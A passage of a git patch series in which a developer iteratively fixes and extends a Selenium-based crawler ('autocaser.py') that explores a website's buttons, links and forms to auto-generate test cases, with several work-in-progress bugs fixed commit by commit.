             response = Response(data, status=status.HTTP_404_NOT_FOUND)
             return response
 
+    if site_id is None and site_url is None:
+        # return error response
+        data = {'reason': 'site not found',}
+        record_api_call(request, data, '404')
+        response = Response(data, status=status.HTTP_404_NOT_FOUND)
+        return response
+
+            
+
     # create process obj
     process = Process.objects.create(
         site=site,

From 43c21cf2c3c5f82fbff1fa16a394e33bd7462c2e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 12:58:49 -0600
Subject: [PATCH 0479/1099] debugging process tracker

---
 app/api/utils/autocaser.py | 2 ++
 app/api/v1/ops/services.py | 6 ++++--
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 3e52cc09..82019bd7 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -115,6 +115,8 @@ def update_process(
             success = True
         if not complete:
             progress = float((current/total) * final_progress)
+
+        print(f'updating process --> {progress}%')
         
         # update Process obj
         self.process.progress = progress
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 8655fdcf..da90abfd 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -175,7 +175,8 @@ def create_site(request, delay=False):
         process = Process.objects.create(
             site=site,
             type='case',
-            account=account
+            account=account,
+            progress=1
         )
 
         # auto gen Cases using bg_autocase_task
@@ -2618,7 +2619,8 @@ def create_auto_cases(request):
     process = Process.objects.create(
         site=site,
         type='case',
-        account=account
+        account=account,
+        progress=1
     )
 
     # send data to bg_autocase_task

From f3d03e6c98b0d0618171cde2f618376ccc6c3650 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 17:24:28 -0600
Subject: [PATCH 0480/1099] added excepetion handling for first level of
 AutoCase iteration

---
 app/api/utils/autocaser.py | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 82019bd7..c51615c5 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -372,13 +372,10 @@ def get_current_elements(self) -> list:
 
     def check_for_duplicates(self, elements: list, selector: str) -> bool:
         found_duplicate = False
-        print('checking for duplicates...')
         for elem in elements:
             # check if selector exists already
-            print(f'{selector} <||> {elem["selector"]}')
             if elem['selector'] == selector:
                 found_duplicate = True
-                print('element is a duplicate')
                 break
 
             # check if sub_elements exists
@@ -471,8 +468,16 @@ def get_elements(self):
                 self.driver.get(start_page)
                 driver_wait(driver=self.driver)
 
+            # getting element by selector
+            try:
+                element = self.driver.find_element(By.CSS_SELECTOR, selector)
+            except Exception as e:
+                print('Element not Reachable, removing')
+                final_start_elements.remove(selector)
+                iterations += 1
+                continue
+            
             # get element info
-            element = self.driver.find_element(By.CSS_SELECTOR, selector)
             element_img = self.get_element_image(element=element)
             element_type = element.tag_name
             elem_relative_url = self.get_relative_url(self.driver.current_url)

From 1df3a2558b5c1c99b240ebf893cdb7a923635bf8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 17:56:33 -0600
Subject: [PATCH 0481/1099] added textarea and element visibility check

---
 app/api/utils/autocaser.py | 108 +++++++++++++++++++++++++++----------
 1 file changed, 81 insertions(+), 27 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index c51615c5..841c7dc9 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -56,6 +56,22 @@ def __init__(
             """
         )
 
+        # setting selector script
+        self.visible_script = (
+            """
+            const isVisible = (elm) => {
+                if (window.getComputedStyle(x).visibility === 'hidden' || window.getComputedStyle(x).display === 'none'){
+                    return false
+                } else {
+                    return true
+                }
+            }
+
+            return isVisible(arguments[0])
+            
+            """
+        )
+
         # setting defaults for inputs
         self.input_types = {
             "button":           {'test_data': None, 'action': 'click'},
@@ -126,7 +142,13 @@ def update_process(
 
 
 
-
+    def is_element_visible(self, element: object) -> bool: 
+        resp = self.driver.execute_script(self.visible_script, elememt)
+        resp = str(resp).lower()
+        if resp == 'true':
+            return True
+        if resp == 'false':
+            return False
 
 
 
@@ -190,14 +212,15 @@ def record_forms(self, elements: list, form: object=None) -> list:
             # get form image
             form_img = self.get_element_image(element=form)
             
+            # defining form.elements
+            sub_elements = []
+
             # get all input fields in form
             inputs = form.find_elements(By.TAG_NAME, "input")
-
             # iterate through each input
-            sub_elements = []
             for i in inputs:
                 
-                if i.get_attribute('type') not in self.blacklist:
+                if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
                     # get input data
                     input_selector = self.driver.execute_script(self.selector_script, i)
                     placeholder = i.get_attribute('placeholder')
@@ -219,9 +242,36 @@ def record_forms(self, elements: list, form: object=None) -> list:
                         'elements': None,
                     })
 
+
+            # get all textarea fields in form
+            textareas = form.find_elements(By.TAG_NAME, "textarea")
+            # iterate through each input
+            for i in textareas:
+                
+                if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
+                    # get input data
+                    input_selector = self.driver.execute_script(self.selector_script, i)
+                    placeholder = i.get_attribute('placeholder')
+                    type = i.get_attribute('type')
+                    img = self.get_element_image(element=i)
+                    relative_url = self.get_relative_url(self.driver.current_url)
+
+                    sub_elements.append({
+                        'selector': input_selector,
+                        'elem_type': i.tag_name,
+                        'placeholder': placeholder,
+                        'value': None,
+                        'type': type,
+                        'data': 'This is longer example text for testing.',
+                        'action': 'change',
+                        'path': relative_url,
+                        'img': img,
+                        'elements': None,
+                    })
+
+
             # get all iframes elements in form
             iframes = form.find_elements(By.TAG_NAME, "iframe")
-
             # iterate through iframes and save data
             for iframe in iframes:
                 
@@ -237,7 +287,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 iframe_elements = []
                 for i in iframe_inputs:
                     
-                    if i.get_attribute('type') not in self.blacklist:
+                    if i.get_attribute('type') not in self.blacklist and self.is_element_visible(i):
                         # get input data
                         input_selector = self.driver.execute_script(self.selector_script, i)
                         placeholder = i.get_attribute('placeholder')
@@ -275,32 +325,31 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 })
 
 
-
             # get all button elements in form
             btns = form.find_elements(By.TAG_NAME, "button")
-
             # iterate through each btn
             for btn in btns:
 
-                # get button data
-                btn_selector = self.driver.execute_script(self.selector_script, btn)
-                type = btn.get_attribute('type')
-                btn_img = self.get_element_image(element=btn)
-                relative_url = self.get_relative_url(self.driver.current_url)
+                if self.is_element_visible(btn):
+                    # get button data
+                    btn_selector = self.driver.execute_script(self.selector_script, btn)
+                    type = btn.get_attribute('type')
+                    btn_img = self.get_element_image(element=btn)
+                    relative_url = self.get_relative_url(self.driver.current_url)
 
-                sub_elements.append({
-                    'selector': btn_selector,
-                    'elem_type': 'button',
-                    'placeholder': None,
-                    'value': None,
-                    'type': type,
-                    'data': None,
-                    'elements': None,
-                    'action': 'click',
-                    'path': relative_url,
-                    'img': btn_img,
-                    'elements': None,
-                })
+                    sub_elements.append({
+                        'selector': btn_selector,
+                        'elem_type': 'button',
+                        'placeholder': None,
+                        'value': None,
+                        'type': type,
+                        'data': None,
+                        'elements': None,
+                        'action': 'click',
+                        'path': relative_url,
+                        'img': btn_img,
+                        'elements': None,
+                    })
 
 
             # save elem data
@@ -344,7 +393,7 @@ def get_priority_elements(self, elements: list) -> dict:
 
             # check each priority word against element innerText
             for word in priority_words:
-                if word in elm_text.lower():
+                if word in elm_text.lower() or elm_text.lower() in word:
                     priority_elements.append(element)
                     break
                 elif element not in non_priority_elements:
@@ -439,6 +488,11 @@ def get_elements(self):
                 random.randint(0, (len(non_priority_elements) - 1))
             ]
 
+            # checking if chosen element is visible
+            if not self.is_element_visible(choosen):
+                iterations += 1
+                continue
+
             # check if element exists in final_start_elements[]
             selector = self.driver.execute_script(self.selector_script, choosen)
             if selector in final_start_elements:

From c52e2fddd6bd6ca7723cb8475778ac125bfcb785 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 18:02:32 -0600
Subject: [PATCH 0482/1099] fixed typo

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 841c7dc9..f64b0435 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -143,7 +143,7 @@ def update_process(
 
 
     def is_element_visible(self, element: object) -> bool: 
-        resp = self.driver.execute_script(self.visible_script, elememt)
+        resp = self.driver.execute_script(self.visible_script, element)
         resp = str(resp).lower()
         if resp == 'true':
             return True

From 6fc978cf73a435bc37c46bd0c32f5a92e5252e7d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 May 2024 18:07:43 -0600
Subject: [PATCH 0483/1099] fixing more typos

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index f64b0435..794b3ebb 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -60,7 +60,7 @@ def __init__(
         self.visible_script = (
             """
             const isVisible = (elm) => {
-                if (window.getComputedStyle(x).visibility === 'hidden' || window.getComputedStyle(x).display === 'none'){
+                if (window.getComputedStyle(elm).visibility === 'hidden' || window.getComputedStyle(elm).display === 'none'){
                     return false
                 } else {
                     return true

From 0cdf60fbf5c630e8cbf4b9978bd9c9751d2c1edf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 09:52:27 -0600
Subject: [PATCH 0484/1099] fixing layers loop issue

---
 app/api/utils/autocaser.py | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 794b3ebb..6ffc8a63 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -704,6 +704,17 @@ def get_elements(self):
                                 print('Element not Clickable, removing')
                                 sub_elements.pop()
 
+                   
+                    # catching all other situations
+                    # naving back to previous_url   
+                    else:
+                        print('no coditions were met')
+
+                        # add to layers
+                        layers += 1
+
+                        # going back
+                        self.driver.get(previous_url)
 
                 # catching all other situations
                 # naving back to previous_url   

From 68910780c06eadde699c0013a106b9224a42d2ce Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 11:51:16 -0600
Subject: [PATCH 0485/1099] trying new method for cleaning new_element

---
 app/api/utils/autocaser.py | 224 ++++++++++++++++++++-----------------
 1 file changed, 121 insertions(+), 103 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 6ffc8a63..7c018e0a 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -27,6 +27,11 @@ def __init__(
         self.process = process
         self.max_cases = max_cases
         self.max_layers = max_layers
+        
+        # high-level elemets array.
+        # All elememts represent the 
+        # begining of a new Case.
+        self.elements = []
 
         # starting driver
         self.driver = driver_init()
@@ -419,8 +424,9 @@ def get_current_elements(self) -> list:
 
 
 
-    def check_for_duplicates(self, elements: list, selector: str) -> bool:
+    def check_for_duplicates(self, selector: str, elements: list=self.elements) -> bool:
         found_duplicate = False
+
         for elem in elements:
             # check if selector exists already
             if elem['selector'] == selector:
@@ -429,7 +435,7 @@ def check_for_duplicates(self, elements: list, selector: str) -> bool:
 
             # check if sub_elements exists
             if elem['elements'] != None:
-                self.check_for_duplicates(elem['elements'])
+                self.check_for_duplicates(selector=selector, elements=elem['elements'])
 
         # return result
         return found_duplicate
@@ -437,12 +443,34 @@ def check_for_duplicates(self, elements: list, selector: str) -> bool:
 
 
 
-    def get_elements(self):
+    def get_clean_elements(new_elements: list) -> list:
+        cleaned_elements = []
+        current_url = self.driver.current_url
 
-        # high-level elemets array.
-        # All elememts represent the 
-        # begining of a new Case.
-        elements = []
+        for elem in new_elements:
+            # get slector
+            elem_selector = self.driver.execute_script(self.selector_script, elem)
+            
+            # check duplicates
+            if self.check_for_duplicates(selector=elem_selector):
+                continue
+            
+            # check url if <a>
+            if elem.tag_name == 'a':
+                # check if action will reload page
+                if current_url == elem.get_attribute('href'):
+                    continue
+
+            # add to cleaned conditions passed
+            current_url.append(elem)
+        
+        # return cleaned elements
+        return cleaned_elements
+
+
+
+
+    def get_elements(self):
 
         # get site page
         self.driver.get(self.site.site_url)
@@ -568,58 +596,61 @@ def get_elements(self):
                     
                     # check for new element
                     new_elements = self.get_current_elements()
+                    
+                    # cleaning new elements
+                    new_elements = self.get_clean_elements(new_elements)
+
                     for elem in new_elements:
-                        if elem not in old_elements:
 
-                            # get sub element info
-                            elem_selector = self.driver.execute_script(self.selector_script, elem)
-                            elem_img = self.get_element_image(element=elem)
-                            relative_url = self.get_relative_url(self.driver.current_url)
+                        # get sub element info
+                        elem_selector = self.driver.execute_script(self.selector_script, elem)
+                        elem_img = self.get_element_image(element=elem)
+                        relative_url = self.get_relative_url(self.driver.current_url)
+
+                        # # check if element is duplicate
+                        # if not self.check_for_duplicates(selector=elem_selector, elements=sub_elements):
+                        
+                        # found new element, record, click, & continue
+                        if elem.tag_name == 'a' or elem.tag_name == 'button':
+
+                            # record element
+                            sub_elements.append({
+                                'selector': elem_selector,
+                                'elem_type': elem.tag_name,
+                                'placeholder': None,
+                                'value': None,
+                                'type': None,
+                                'data': None,
+                                'action': 'click',
+                                'path': relative_url,
+                                'img': elem_img,
+                                'elements': None,
+                            })
+
+                            # click element
+                            try:
+                                elem.click()
+                            except Exception as e:
+                                print('Element not Clickable, removing')
+                                sub_elements.pop()
 
-                            # check if element is duplicate
-                            if not self.check_for_duplicates(sub_elements, elem_selector):
+                            # add to layers and ending internal loop
+                            layers += 1
+                            break
+                        
+                        # found new form, record and end run
+                        if elem.tag_name == 'form':
                             
-                                # found new element, record, click, & continue
-                                if elem.tag_name == 'a' or elem.tag_name == 'button':
-
-                                    # record element
-                                    sub_elements.append({
-                                        'selector': elem_selector,
-                                        'elem_type': elem.tag_name,
-                                        'placeholder': None,
-                                        'value': None,
-                                        'type': None,
-                                        'data': None,
-                                        'action': 'click',
-                                        'path': relative_url,
-                                        'img': elem_img,
-                                        'elements': None,
-                                    })
-
-                                    # click element
-                                    try:
-                                        elem.click()
-                                    except Exception as e:
-                                        print('Element not Clickable, removing')
-                                        sub_elements.pop()
-
-                                    # add to layers and ending internal loop
-                                    layers += 1
-                                    break
-                                
-                                # found new form, record and end run
-                                if elem.tag_name == 'form':
-                                    
-                                    # record form into sub_elements list
-                                    sub_elements = self.record_forms(
-                                        elements=sub_elements, 
-                                        form=elem
-                                    )
-
-                                    # add to layers and ending case
-                                    layers += 1
-                                    run = False
-                                    break
+                            # record form into sub_elements list
+                            sub_elements = self.record_forms(
+                                elements=sub_elements, 
+                                form=elem
+                            )
+
+                            # add to layers and ending case
+                            layers += 1
+                            run = False
+                            break
                     
                     # add to layers
                     layers += 1
@@ -632,6 +663,9 @@ def get_elements(self):
                     # get new elements and randomly choose 1 (with priority)
                     new_elements = self.get_current_elements()
 
+                    # cleaning new elements
+                    new_elements = self.get_clean_elements(new_elements)
+
                     # sort new elements
                     sorted_elements = self.get_priority_elements(
                         elements=new_elements,
@@ -664,66 +698,50 @@ def get_elements(self):
                     elem_img = self.get_element_image(element=elem)
                     relative_url = self.get_relative_url(self.driver.current_url)
 
-                    # check if element is duplicate
-                    if not self.check_for_duplicates(sub_elements, elem_selector):
+                    # check the type of element
+                    if elem.tag_name == 'form':
+                        # record form into sub_elements list
+                        sub_elements = self.record_forms(
+                            elements=sub_elements,
+                            form=elem
+                        )
 
-                        # check the type of element
-                        if elem.tag_name == 'form':
-                            # record form into sub_elements list
-                            sub_elements = self.record_forms(
-                                elements=sub_elements,
-                                form=elem
-                            )
-
-                            # add to layers and ending case
-                            layers += 1
-                            run = False
-                    
-                        if elem.tag_name == 'a' or elem.tag_name == 'button':
-                            # record element
-                            sub_elements.append({
-                                'selector': elem_selector,
-                                'elem_type': elem.tag_name,
-                                'placeholder': None,
-                                'value': None,
-                                'type': None,
-                                'data': None,
-                                'action': 'click',
-                                'path': relative_url,
-                                'img': elem_img,
-                                'elements': None,
-                            })
-
-                            # add to layers
-                            layers += 1
-
-                            # click element
-                            try:
-                                elem.click()
-                            except Exception as e:
-                                print('Element not Clickable, removing')
-                                sub_elements.pop()
-
-                   
-                    # catching all other situations
-                    # naving back to previous_url   
-                    else:
-                        print('no coditions were met')
+                        # add to layers and ending case
+                        layers += 1
+                        run = False
+                
+                    if elem.tag_name == 'a' or elem.tag_name == 'button':
+                        # record element
+                        sub_elements.append({
+                            'selector': elem_selector,
+                            'elem_type': elem.tag_name,
+                            'placeholder': None,
+                            'value': None,
+                            'type': None,
+                            'data': None,
+                            'action': 'click',
+                            'path': relative_url,
+                            'img': elem_img,
+                            'elements': None,
+                        })
 
                         # add to layers
                         layers += 1
 
-                        # going back
-                        self.driver.get(previous_url)
+                        # click element
+                        try:
+                            elem.click()
+                        except Exception as e:
+                            print('Element not Clickable, removing')
+                            sub_elements.pop()
+
 
                 # catching all other situations
                 # naving back to previous_url   
                 else:
                     print('no coditions were met')
-
                     # add to layers
                     layers += 1
-
                     # going back
                     self.driver.get(previous_url)
                     

From d163f1e04e7de18b6c8e706bd23a2c27ca1028f8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 11:57:36 -0600
Subject: [PATCH 0486/1099] fixed minor ref bug

---
 app/api/utils/autocaser.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 7c018e0a..065a623a 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -424,8 +424,10 @@ def get_current_elements(self) -> list:
 
 
 
-    def check_for_duplicates(self, selector: str, elements: list=self.elements) -> bool:
+    def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
         found_duplicate = False
+        if elements is None:
+            elements = self.elements
 
         for elem in elements:
             # check if selector exists already

From 64e40c03dde89732af8e3b04b1052b3c1e0b65d9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 11:59:37 -0600
Subject: [PATCH 0487/1099] fixing class level refs

---
 app/api/utils/autocaser.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 065a623a..fd34df9b 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -479,7 +479,7 @@ def get_elements(self):
         start_page = self.driver.current_url
 
         # record all forms and sub_elements on page
-        elements = self.record_forms(elements=elements)
+        elements = self.record_forms(elements=self.elements)
     
         # grab all buttons
         buttons = self.driver.find_elements(By.TAG_NAME, "button")
@@ -749,7 +749,7 @@ def get_elements(self):
                     
                 
             # adding final info to elememt list
-            elements.append({
+            self.elements.append({
                 'selector': selector,
                 'elem_type': element_type,
                 'elem_text': elem_text,

From f3e12292934ac6b3460af357dedd330356720f22 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 12:10:39 -0600
Subject: [PATCH 0488/1099] added handling for more edge cases

---
 app/api/utils/autocaser.py | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index fd34df9b..e845a93e 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -445,7 +445,7 @@ def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
 
 
 
-    def get_clean_elements(new_elements: list) -> list:
+    def get_clean_elements(elements: list) -> list:
         cleaned_elements = []
         current_url = self.driver.current_url
 
@@ -479,7 +479,7 @@ def get_elements(self):
         start_page = self.driver.current_url
 
         # record all forms and sub_elements on page
-        elements = self.record_forms(elements=self.elements)
+        self.elements = self.record_forms(elements=self.elements)
     
         # grab all buttons
         buttons = self.driver.find_elements(By.TAG_NAME, "button")
@@ -490,9 +490,12 @@ def get_elements(self):
         # combine buttons and links
         start_elms = buttons + links
 
+        # clean start element
+        cleaned_start_elems = self.get_clean_elements(start_elms)
+
         # sorting start_elems
         sorted_elements = self.get_priority_elements(
-            elements=start_elms, 
+            elements=cleaned_start_elems, 
         )
         priority_elements = sorted_elements['priority_elements']
         non_priority_elements = sorted_elements['non_priority_elements']
@@ -600,7 +603,7 @@ def get_elements(self):
                     new_elements = self.get_current_elements()
                     
                     # cleaning new elements
-                    new_elements = self.get_clean_elements(new_elements)
+                    new_elements = self.get_clean_elements(elements)
 
                     for elem in new_elements:
 
@@ -608,9 +611,6 @@ def get_elements(self):
                         elem_selector = self.driver.execute_script(self.selector_script, elem)
                         elem_img = self.get_element_image(element=elem)
                         relative_url = self.get_relative_url(self.driver.current_url)
-
-                        # # check if element is duplicate
-                        # if not self.check_for_duplicates(selector=elem_selector, elements=sub_elements):
                         
                         # found new element, record, click, & continue
                         if elem.tag_name == 'a' or elem.tag_name == 'button':
@@ -666,7 +666,7 @@ def get_elements(self):
                     new_elements = self.get_current_elements()
 
                     # cleaning new elements
-                    new_elements = self.get_clean_elements(new_elements)
+                    new_elements = self.get_clean_elements(elements)
 
                     # sort new elements
                     sorted_elements = self.get_priority_elements(

From e5c7ac1bb3fbd4138399229b1464f9fd6e4103e8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 12:17:00 -0600
Subject: [PATCH 0489/1099] fixed keyword invalidation

---
 app/api/utils/autocaser.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index e845a93e..4c9797f8 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -603,9 +603,9 @@ def get_elements(self):
                     new_elements = self.get_current_elements()
                     
                     # cleaning new elements
-                    new_elements = self.get_clean_elements(elements)
+                    cleaned_elements = self.get_clean_elements(new_elements)
 
-                    for elem in new_elements:
+                    for elem in cleaned_elements:
 
                         # get sub element info
                         elem_selector = self.driver.execute_script(self.selector_script, elem)
@@ -666,11 +666,11 @@ def get_elements(self):
                     new_elements = self.get_current_elements()
 
                     # cleaning new elements
-                    new_elements = self.get_clean_elements(elements)
+                    cleaned_elements = self.get_clean_elements(new_elements)
 
                     # sort new elements
                     sorted_elements = self.get_priority_elements(
-                        elements=new_elements,
+                        elements=cleaned_elements,
                     )
                     priority_elements = sorted_elements['priority_elements']
                     non_priority_elements = sorted_elements['non_priority_elements']

From a2882275ec33aebfd8591882c30cf0cb38ac3361 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 12:26:39 -0600
Subject: [PATCH 0490/1099] fixed function scope issue

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 4c9797f8..429e2892 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -445,7 +445,7 @@ def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
 
 
 
-    def get_clean_elements(elements: list) -> list:
+    def get_clean_elements(self, elements: list) -> list:
         cleaned_elements = []
         current_url = self.driver.current_url
 

From 473f889233278507595a3a734faf4b0618ff718d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 12:41:33 -0600
Subject: [PATCH 0491/1099] fixed typo

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 429e2892..8cc6d05e 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -449,7 +449,7 @@ def get_clean_elements(self, elements: list) -> list:
         cleaned_elements = []
         current_url = self.driver.current_url
 
-        for elem in new_elements:
+        for elem in elements:
             # get slector
             elem_selector = self.driver.execute_script(self.selector_script, elem)
             

From 2430c3f302a0e6a4fe8eab4b2ca481eee7371839 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 12:50:34 -0600
Subject: [PATCH 0492/1099] fixed typo

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 8cc6d05e..6dd00881 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -464,7 +464,7 @@ def get_clean_elements(self, elements: list) -> list:
                     continue
 
             # add to cleaned conditions passed
-            current_url.append(elem)
+            cleaned_elements.append(elem)
         
         # return cleaned elements
         return cleaned_elements

From 892625e0ef7497704ab73e9c012ce2c82430ffd0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 12:56:25 -0600
Subject: [PATCH 0493/1099] fixing more typos

---
 app/api/utils/autocaser.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 6dd00881..362ea00f 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -514,7 +514,7 @@ def get_elements(self):
         # adding random elements until 
         # "max_cases" is reached
         iterations = 0
-        while (len(final_start_elements) + len(elements)) < self.max_cases and iterations < (5 * self.max_cases):
+        while (len(final_start_elements) + len(self.elements)) < self.max_cases and iterations < (5 * self.max_cases):
 
             # random choice
             choosen = non_priority_elements[
@@ -773,7 +773,7 @@ def get_elements(self):
         quit_driver(self.driver)
 
         # return elements
-        return elements
+        return self.elements
 
 
 

From 70f15dd1b23d546a73f8896c689d0b739b549d9e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 13:12:11 -0600
Subject: [PATCH 0494/1099] fixing some stuff

---
 app/api/utils/autocaser.py | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 362ea00f..f14349d7 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -418,7 +418,7 @@ def get_current_elements(self) -> list:
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
-        current_elements = buttons + links + forms
+        current_elements = forms + buttons + links
         return current_elements
 
 
@@ -455,12 +455,18 @@ def get_clean_elements(self, elements: list) -> list:
             
             # check duplicates
             if self.check_for_duplicates(selector=elem_selector):
+                print(f'found duplicate => {elem_selector}')
                 continue
             
             # check url if <a>
             if elem.tag_name == 'a':
                 # check if action will reload page
                 if current_url == elem.get_attribute('href'):
+                    print('elem reloads page')
+                    continue
+                # check if action will nav to new site
+                if not current_url.startswith(self.site.site_url):
+                    print(f'elem links to different site')
                     continue
 
             # add to cleaned conditions passed
@@ -737,7 +743,6 @@ def get_elements(self):
                             print('Element not Clickable, removing')
                             sub_elements.pop()
 
-
                 # catching all other situations
                 # naving back to previous_url   
                 else:

From 4380a0acdc051d38cb2b0295792370c19434f061 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 May 2024 13:30:51 -0600
Subject: [PATCH 0495/1099] changing scope of duplicate checker and fixed url
 checker

---
 app/api/utils/autocaser.py | 22 +++++++++++++++-------
 1 file changed, 15 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index f14349d7..5ce3f06b 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -445,7 +445,7 @@ def check_for_duplicates(self, selector: str, elements: list=None) -> bool:
 
 
 
-    def get_clean_elements(self, elements: list) -> list:
+    def get_clean_elements(self, elements: list, check_against: list=None) -> list:
         cleaned_elements = []
         current_url = self.driver.current_url
 
@@ -453,19 +453,27 @@ def get_clean_elements(self, elements: list) -> list:
             # get slector
             elem_selector = self.driver.execute_script(self.selector_script, elem)
             
-            # check duplicates
+            # check local duplicates 
+            if check_against is not None:
+                if self.check_for_duplicates(selector=elem_selector, elements=existing_elems):
+                    print(f'found local duplicate => {elem_selector}')
+                    continue
+            
+            # check global duplicates
             if self.check_for_duplicates(selector=elem_selector):
-                print(f'found duplicate => {elem_selector}')
+                print(f'found global duplicate => {elem_selector}')
                 continue
             
             # check url if <a>
             if elem.tag_name == 'a':
                 # check if action will reload page
-                if current_url == elem.get_attribute('href'):
+                elem_link = elem.get_attribute('href')
+                if current_url == elem_link:
                     print('elem reloads page')
                     continue
                 # check if action will nav to new site
-                if not current_url.startswith(self.site.site_url):
+                print(f'current_url: "current_url" ')
+                if not elem_link.startswith(self.site.site_url):
                     print(f'elem links to different site')
                     continue
 
@@ -609,7 +617,7 @@ def get_elements(self):
                     new_elements = self.get_current_elements()
                     
                     # cleaning new elements
-                    cleaned_elements = self.get_clean_elements(new_elements)
+                    cleaned_elements = self.get_clean_elements(new_elements, check_against=sub_elements)
 
                     for elem in cleaned_elements:
 
@@ -672,7 +680,7 @@ def get_elements(self):
                     new_elements = self.get_current_elements()
 
                     # cleaning new elements
-                    cleaned_elements = self.get_clean_elements(new_elements)
+                    cleaned_elements = self.get_clean_elements(new_elements, check_against=sub_elements)
 
                     # sort new elements
                     sorted_elements = self.get_priority_elements(

From 6297fcc9d1aa7d17c1aafd4122c3c74c6db08be0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
